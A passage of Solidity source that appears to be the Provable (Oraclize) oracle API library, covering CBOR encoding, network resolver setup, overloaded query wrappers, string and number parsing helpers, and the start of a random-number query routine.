_buf.append(uint8((_major << 5) | 25));
_buf.appendInt(_value, 2);
} else if (_value <= 0xFFFFFFFF) {
_buf.append(uint8((_major << 5) | 26));
_buf.appendInt(_value, 4);
} else if (_value <= 0xFFFFFFFFFFFFFFFF) {
_buf.append(uint8((_major << 5) | 27));
_buf.appendInt(_value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory _buf, uint8 _major) private pure {
_buf.append(uint8((_major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory _buf, uint _value) internal pure {
encodeType(_buf, MAJOR_TYPE_INT, _value);
}
function encodeInt(Buffer.buffer memory _buf, int _value) internal pure {
if (_value >= 0) {
encodeType(_buf, MAJOR_TYPE_INT, uint(_value));
} else {
encodeType(_buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - _value));
}
}
function encodeBytes(Buffer.buffer memory _buf, bytes memory _value) internal pure {
encodeType(_buf, MAJOR_TYPE_BYTES, _value.length);
_buf.append(_value);
}
function encodeString(Buffer.buffer memory _buf, string memory _value) internal pure {
encodeType(_buf, MAJOR_TYPE_STRING, bytes(_value).length);
_buf.append(bytes(_value));
}
function startArray(Buffer.buffer memory _buf) internal pure {
encodeIndefiniteLengthType(_buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory _buf) internal pure {
encodeIndefiniteLengthType(_buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory _buf) internal pure {
encodeIndefiniteLengthType(_buf, MAJOR_TYPE_CONTENT_FREE);
}
}
/*
End solidity-cborutils
*/
contract usingProvable {
using CBOR for Buffer.buffer;
ProvableI provable;
OracleAddrResolverI OAR;
uint constant day = 60 * 60 * 24;
uint constant week = 60 * 60 * 24 * 7;
uint constant month = 60 * 60 * 24 * 30;
byte constant proofType_NONE = 0x00;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
byte constant proofType_Android = 0x40;
byte constant proofType_TLSNotary = 0x10;
string provable_network_name;
uint8 constant networkID_auto = 0;
uint8 constant networkID_morden = 2;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_consensys = 161;
mapping(bytes32 => bytes32) provable_randomDS_args;
mapping(bytes32 => bool) provable_randomDS_sessionKeysHashVerified;
modifier provableAPI {
if ((address(OAR) == address(0)) || (getCodeSize(address(OAR)) == 0)) {
provable_setNetwork(networkID_auto);
}
if (address(provable) != OAR.getAddress()) {
provable = ProvableI(OAR.getAddress());
}
_;
}
modifier provable_randomDS_proofVerify(bytes32 _queryId, string memory _result, bytes memory _proof) {
// RandomDS Proof Step 1: The prefix has to match 'LP\x01' (Ledger Proof version 1)
require((_proof[0] == "L") && (_proof[1] == "P") && (uint8(_proof[2]) == uint8(1)));
bool proofVerified = provable_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), provable_getNetworkName());
require(proofVerified);
_;
}
function provable_setNetwork(uint8 _networkID) internal returns (bool _networkSet) {
_networkID; // NOTE: Silence the warning and remain backwards compatible
return provable_setNetwork();
}
function provable_setNetworkName(string memory _network_name) internal {
provable_network_name = _network_name;
}
function provable_getNetworkName() internal view returns (string memory _networkName) {
return provable_network_name;
}
function provable_setNetwork() internal returns (bool _networkSet) {
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed) > 0) { //mainnet
OAR = OracleAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
provable_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1) > 0) { //ropsten testnet
OAR = OracleAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
provable_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e) > 0) { //kovan testnet
OAR = OracleAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
provable_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48) > 0) { //rinkeby testnet
OAR = OracleAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
provable_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0xa2998EFD205FB9D4B4963aFb70778D6354ad3A41) > 0) { //goerli testnet
OAR = OracleAddrResolverI(0xa2998EFD205FB9D4B4963aFb70778D6354ad3A41);
provable_setNetworkName("eth_goerli");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475) > 0) { //ethereum-bridge
OAR = OracleAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF) > 0) { //ether.camp ide
OAR = OracleAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA) > 0) { //browser-solidity
OAR = OracleAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
/**
* @dev The following `__callback` functions are just placeholders ideally
* meant to be defined in child contract when proofs are used.
* The function bodies simply silence compiler warnings.
*/
function __callback(bytes32 _myid, string memory _result) virtual public {
__callback(_myid, _result, new bytes(0));
}
function __callback(bytes32 _myid, string memory _result, bytes memory _proof) virtual public {
_myid; _result; _proof;
provable_randomDS_args[bytes32(0)] = bytes32(0);
}
function provable_getPrice(string memory _datasource) provableAPI internal returns (uint _queryPrice) {
return provable.getPrice(_datasource);
}
function provable_getPrice(string memory _datasource, uint _gasLimit) provableAPI internal returns (uint _queryPrice) {
return provable.getPrice(_datasource, _gasLimit);
}
function provable_query(string memory _datasource, string memory _arg) provableAPI internal returns (bytes32 _id) {
uint price = provable.getPrice(_datasource);
if (price > 1 ether + tx.gasprice * 200000) {
return 0; // Unexpectedly high price
}
return provable.query{value: price}(0, _datasource, _arg);
}
function provable_query(uint _timestamp, string memory _datasource, string memory _arg) provableAPI internal returns (bytes32 _id) {
uint price = provable.getPrice(_datasource);
if (price > 1 ether + tx.gasprice * 200000) {
return 0; // Unexpectedly high price
}
return provable.query{value: price}(_timestamp, _datasource, _arg);
}
function provable_query(uint _timestamp, string memory _datasource, string memory _arg, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
uint price = provable.getPrice(_datasource,_gasLimit);
if (price > 1 ether + tx.gasprice * _gasLimit) {
return 0; // Unexpectedly high price
}
return provable.query_withGasLimit{value: price}(_timestamp, _datasource, _arg, _gasLimit);
}
function provable_query(string memory _datasource, string memory _arg, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
uint price = provable.getPrice(_datasource, _gasLimit);
if (price > 1 ether + tx.gasprice * _gasLimit) {
return 0; // Unexpectedly high price
}
return provable.query_withGasLimit{value: price}(0, _datasource, _arg, _gasLimit);
}
function provable_query(string memory _datasource, string memory _arg1, string memory _arg2) provableAPI internal returns (bytes32 _id) {
uint price = provable.getPrice(_datasource);
if (price > 1 ether + tx.gasprice * 200000) {
return 0; // Unexpectedly high price
}
return provable.query2{value: price}(0, _datasource, _arg1, _arg2);
}
function provable_query(uint _timestamp, string memory _datasource, string memory _arg1, string memory _arg2) provableAPI internal returns (bytes32 _id) {
uint price = provable.getPrice(_datasource);
if (price > 1 ether + tx.gasprice * 200000) {
return 0; // Unexpectedly high price
}
return provable.query2{value: price}(_timestamp, _datasource, _arg1, _arg2);
}
function provable_query(uint _timestamp, string memory _datasource, string memory _arg1, string memory _arg2, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
uint price = provable.getPrice(_datasource, _gasLimit);
if (price > 1 ether + tx.gasprice * _gasLimit) {
return 0; // Unexpectedly high price
}
return provable.query2_withGasLimit{value: price}(_timestamp, _datasource, _arg1, _arg2, _gasLimit);
}
function provable_query(string memory _datasource, string memory _arg1, string memory _arg2, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
uint price = provable.getPrice(_datasource, _gasLimit);
if (price > 1 ether + tx.gasprice * _gasLimit) {
return 0; // Unexpectedly high price
}
return provable.query2_withGasLimit{value: price}(0, _datasource, _arg1, _arg2, _gasLimit);
}
function provable_query(string memory _datasource, string[] memory _argN) provableAPI internal returns (bytes32 _id) {
uint price = provable.getPrice(_datasource);
if (price > 1 ether + tx.gasprice * 200000) {
return 0; // Unexpectedly high price
}
bytes memory args = stra2cbor(_argN);
return provable.queryN{value: price}(0, _datasource, args);
}
function provable_query(uint _timestamp, string memory _datasource, string[] memory _argN) provableAPI internal returns (bytes32 _id) {
uint price = provable.getPrice(_datasource);
if (price > 1 ether + tx.gasprice * 200000) {
return 0; // Unexpectedly high price
}
bytes memory args = stra2cbor(_argN);
return provable.queryN{value: price}(_timestamp, _datasource, args);
}
function provable_query(uint _timestamp, string memory _datasource, string[] memory _argN, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
uint price = provable.getPrice(_datasource, _gasLimit);
if (price > 1 ether + tx.gasprice * _gasLimit) {
return 0; // Unexpectedly high price
}
bytes memory args = stra2cbor(_argN);
return provable.queryN_withGasLimit{value: price}(_timestamp, _datasource, args, _gasLimit);
}
function provable_query(string memory _datasource, string[] memory _argN, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
uint price = provable.getPrice(_datasource, _gasLimit);
if (price > 1 ether + tx.gasprice * _gasLimit) {
return 0; // Unexpectedly high price
}
bytes memory args = stra2cbor(_argN);
return provable.queryN_withGasLimit{value: price}(0, _datasource, args, _gasLimit);
}
function provable_query(string memory _datasource, string[1] memory _args) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](1);
dynargs[0] = _args[0];
return provable_query(_datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, string[1] memory _args) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](1);
dynargs[0] = _args[0];
return provable_query(_timestamp, _datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, string[1] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](1);
dynargs[0] = _args[0];
return provable_query(_timestamp, _datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, string[1] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](1);
dynargs[0] = _args[0];
return provable_query(_datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, string[2] memory _args) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](2);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
return provable_query(_datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, string[2] memory _args) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](2);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
return provable_query(_timestamp, _datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, string[2] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](2);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
return provable_query(_timestamp, _datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, string[2] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](2);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
return provable_query(_datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, string[3] memory _args) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](3);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
return provable_query(_datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, string[3] memory _args) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](3);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
return provable_query(_timestamp, _datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, string[3] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](3);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
return provable_query(_timestamp, _datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, string[3] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](3);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
return provable_query(_datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, string[4] memory _args) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](4);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
dynargs[3] = _args[3];
return provable_query(_datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, string[4] memory _args) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](4);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
dynargs[3] = _args[3];
return provable_query(_timestamp, _datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, string[4] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](4);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
dynargs[3] = _args[3];
return provable_query(_timestamp, _datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, string[4] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](4);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
dynargs[3] = _args[3];
return provable_query(_datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, string[5] memory _args) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](5);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
dynargs[3] = _args[3];
dynargs[4] = _args[4];
return provable_query(_datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, string[5] memory _args) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](5);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
dynargs[3] = _args[3];
dynargs[4] = _args[4];
return provable_query(_timestamp, _datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, string[5] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](5);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
dynargs[3] = _args[3];
dynargs[4] = _args[4];
return provable_query(_timestamp, _datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, string[5] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
string[] memory dynargs = new string[](5);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
dynargs[3] = _args[3];
dynargs[4] = _args[4];
return provable_query(_datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, bytes[] memory _argN) provableAPI internal returns (bytes32 _id) {
uint price = provable.getPrice(_datasource);
if (price > 1 ether + tx.gasprice * 200000) {
return 0; // Unexpectedly high price
}
bytes memory args = ba2cbor(_argN);
return provable.queryN{value: price}(0, _datasource, args);
}
function provable_query(uint _timestamp, string memory _datasource, bytes[] memory _argN) provableAPI internal returns (bytes32 _id) {
uint price = provable.getPrice(_datasource);
if (price > 1 ether + tx.gasprice * 200000) {
return 0; // Unexpectedly high price
}
bytes memory args = ba2cbor(_argN);
return provable.queryN{value: price}(_timestamp, _datasource, args);
}
function provable_query(uint _timestamp, string memory _datasource, bytes[] memory _argN, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
uint price = provable.getPrice(_datasource, _gasLimit);
if (price > 1 ether + tx.gasprice * _gasLimit) {
return 0; // Unexpectedly high price
}
bytes memory args = ba2cbor(_argN);
return provable.queryN_withGasLimit{value: price}(_timestamp, _datasource, args, _gasLimit);
}
function provable_query(string memory _datasource, bytes[] memory _argN, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
uint price = provable.getPrice(_datasource, _gasLimit);
if (price > 1 ether + tx.gasprice * _gasLimit) {
return 0; // Unexpectedly high price
}
bytes memory args = ba2cbor(_argN);
return provable.queryN_withGasLimit{value: price}(0, _datasource, args, _gasLimit);
}
function provable_query(string memory _datasource, bytes[1] memory _args) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = _args[0];
return provable_query(_datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, bytes[1] memory _args) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = _args[0];
return provable_query(_timestamp, _datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, bytes[1] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = _args[0];
return provable_query(_timestamp, _datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, bytes[1] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = _args[0];
return provable_query(_datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, bytes[2] memory _args) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
return provable_query(_datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, bytes[2] memory _args) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
return provable_query(_timestamp, _datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, bytes[2] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
return provable_query(_timestamp, _datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, bytes[2] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
return provable_query(_datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, bytes[3] memory _args) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
return provable_query(_datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, bytes[3] memory _args) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
return provable_query(_timestamp, _datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, bytes[3] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
return provable_query(_timestamp, _datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, bytes[3] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
return provable_query(_datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, bytes[4] memory _args) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
dynargs[3] = _args[3];
return provable_query(_datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, bytes[4] memory _args) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
dynargs[3] = _args[3];
return provable_query(_timestamp, _datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, bytes[4] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
dynargs[3] = _args[3];
return provable_query(_timestamp, _datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, bytes[4] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
dynargs[3] = _args[3];
return provable_query(_datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, bytes[5] memory _args) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
dynargs[3] = _args[3];
dynargs[4] = _args[4];
return provable_query(_datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, bytes[5] memory _args) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
dynargs[3] = _args[3];
dynargs[4] = _args[4];
return provable_query(_timestamp, _datasource, dynargs);
}
function provable_query(uint _timestamp, string memory _datasource, bytes[5] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
dynargs[3] = _args[3];
dynargs[4] = _args[4];
return provable_query(_timestamp, _datasource, dynargs, _gasLimit);
}
function provable_query(string memory _datasource, bytes[5] memory _args, uint _gasLimit) provableAPI internal returns (bytes32 _id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = _args[0];
dynargs[1] = _args[1];
dynargs[2] = _args[2];
dynargs[3] = _args[3];
dynargs[4] = _args[4];
return provable_query(_datasource, dynargs, _gasLimit);
}
function provable_setProof(byte _proofP) provableAPI internal {
return provable.setProofType(_proofP);
}
function provable_cbAddress() provableAPI internal returns (address _callbackAddress) {
return provable.cbAddress();
}
function getCodeSize(address _addr) view internal returns (uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function provable_setCustomGasPrice(uint _gasPrice) provableAPI internal {
return provable.setCustomGasPrice(_gasPrice);
}
function provable_randomDS_getSessionPubKeyHash() provableAPI internal returns (bytes32 _sessionKeyHash) {
return provable.randomDS_getSessionPubKeyHash();
}
function parseAddr(string memory _a) internal pure returns (address _parsedAddress) {
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i = 2; i < 2 + 2 * 20; i += 2) {
iaddr *= 256;
b1 = uint160(uint8(tmp[i]));
b2 = uint160(uint8(tmp[i + 1]));
if ((b1 >= 97) && (b1 <= 102)) {
b1 -= 87;
} else if ((b1 >= 65) && (b1 <= 70)) {
b1 -= 55;
} else if ((b1 >= 48) && (b1 <= 57)) {
b1 -= 48;
}
if ((b2 >= 97) && (b2 <= 102)) {
b2 -= 87;
} else if ((b2 >= 65) && (b2 <= 70)) {
b2 -= 55;
} else if ((b2 >= 48) && (b2 <= 57)) {
b2 -= 48;
}
iaddr += (b1 * 16 + b2);
}
return address(iaddr);
}
function strCompare(string memory _a, string memory _b) internal pure returns (int _returnCode) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) {
minLength = b.length;
}
for (uint i = 0; i < minLength; i ++) {
if (a[i] < b[i]) {
return -1;
} else if (a[i] > b[i]) {
return 1;
}
}
if (a.length < b.length) {
return -1;
} else if (a.length > b.length) {
return 1;
} else {
return 0;
}
}
function indexOf(string memory _haystack, string memory _needle) internal pure returns (int _returnCode) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if (h.length < 1 || n.length < 1 || (n.length > h.length)) {
return -1;
} else if (h.length > (2 ** 128 - 1)) {
return -1;
} else {
uint subindex = 0;
for (uint i = 0; i < h.length; i++) {
if (h[i] == n[0]) {
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) {
subindex++;
}
if (subindex == n.length) {
return int(i);
}
}
}
return -1;
}
}
function strConcat(string memory _a, string memory _b) internal pure returns (string memory _concatenatedString) {
return strConcat(_a, _b, "", "", "");
}
function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory _concatenatedString) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory _concatenatedString) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory _concatenatedString) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
uint i = 0;
for (i = 0; i < _ba.length; i++) {
babcde[k++] = _ba[i];
}
for (i = 0; i < _bb.length; i++) {
babcde[k++] = _bb[i];
}
for (i = 0; i < _bc.length; i++) {
babcde[k++] = _bc[i];
}
for (i = 0; i < _bd.length; i++) {
babcde[k++] = _bd[i];
}
for (i = 0; i < _be.length; i++) {
babcde[k++] = _be[i];
}
return string(babcde);
}
function safeParseInt(string memory _a) internal pure returns (uint _parsedInt) {
return safeParseInt(_a, 0);
}
function safeParseInt(string memory _a, uint _b) internal pure returns (uint _parsedInt) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i = 0; i < bresult.length; i++) {
if ((uint(uint8(bresult[i])) >= 48) && (uint(uint8(bresult[i])) <= 57)) {
if (decimals) {
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(uint8(bresult[i])) - 48;
} else if (uint(uint8(bresult[i])) == 46) {
require(!decimals, 'More than one decimal encountered in string!');
decimals = true;
} else {
revert("Non-numeral character encountered in string!");
}
}
if (_b > 0) {
mint *= 10 ** _b;
}
return mint;
}
function parseInt(string memory _a) internal pure returns (uint _parsedInt) {
return parseInt(_a, 0);
}
function parseInt(string memory _a, uint _b) internal pure returns (uint _parsedInt) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i = 0; i < bresult.length; i++) {
if ((uint(uint8(bresult[i])) >= 48) && (uint(uint8(bresult[i])) <= 57)) {
if (decimals) {
if (_b == 0) {
break;
} else {
_b--;
}
}
mint *= 10;
mint += uint(uint8(bresult[i])) - 48;
} else if (uint(uint8(bresult[i])) == 46) {
decimals = true;
}
}
if (_b > 0) {
mint *= 10 ** _b;
}
return mint;
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] memory _arr) internal pure returns (bytes memory _cborEncoding) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < _arr.length; i++) {
buf.encodeString(_arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] memory _arr) internal pure returns (bytes memory _cborEncoding) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < _arr.length; i++) {
buf.encodeBytes(_arr[i]);
}
buf.endSequence();
return buf.buf;
}
function provable_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32 _queryId) {
require((_nbytes > 0) && (_nbytes <= 32));
_delay *= 10; // Convert from seconds to ledger timer ticks
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(uint8(_nbytes));
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = provable_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
/*
The following variables can be relaxed.
Check the relaxed random contract at https://github.com/oraclize/ethereum-examples
for an idea on how to override and replace commit hash variables.
*/
mstore(add(unonce, 0x20), xor(blockhash(sub(number(), 1)), xor(coinbase(), timestamp())))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes memory delay = new bytes(32);
assembly {
mstore(add(delay, 0x20), _delay)
}
bytes memory delay_bytes8 = new bytes(8);
copyBytes(delay, 24, 8, delay_bytes8, 0);
bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay];
bytes32 queryId = provable_query("random", args, _customGasLimit);
bytes memory delay_bytes8_left = new bytes(8);
assembly {
let x := mload(add(delay_bytes8, 0x20))
mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000))
mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000))
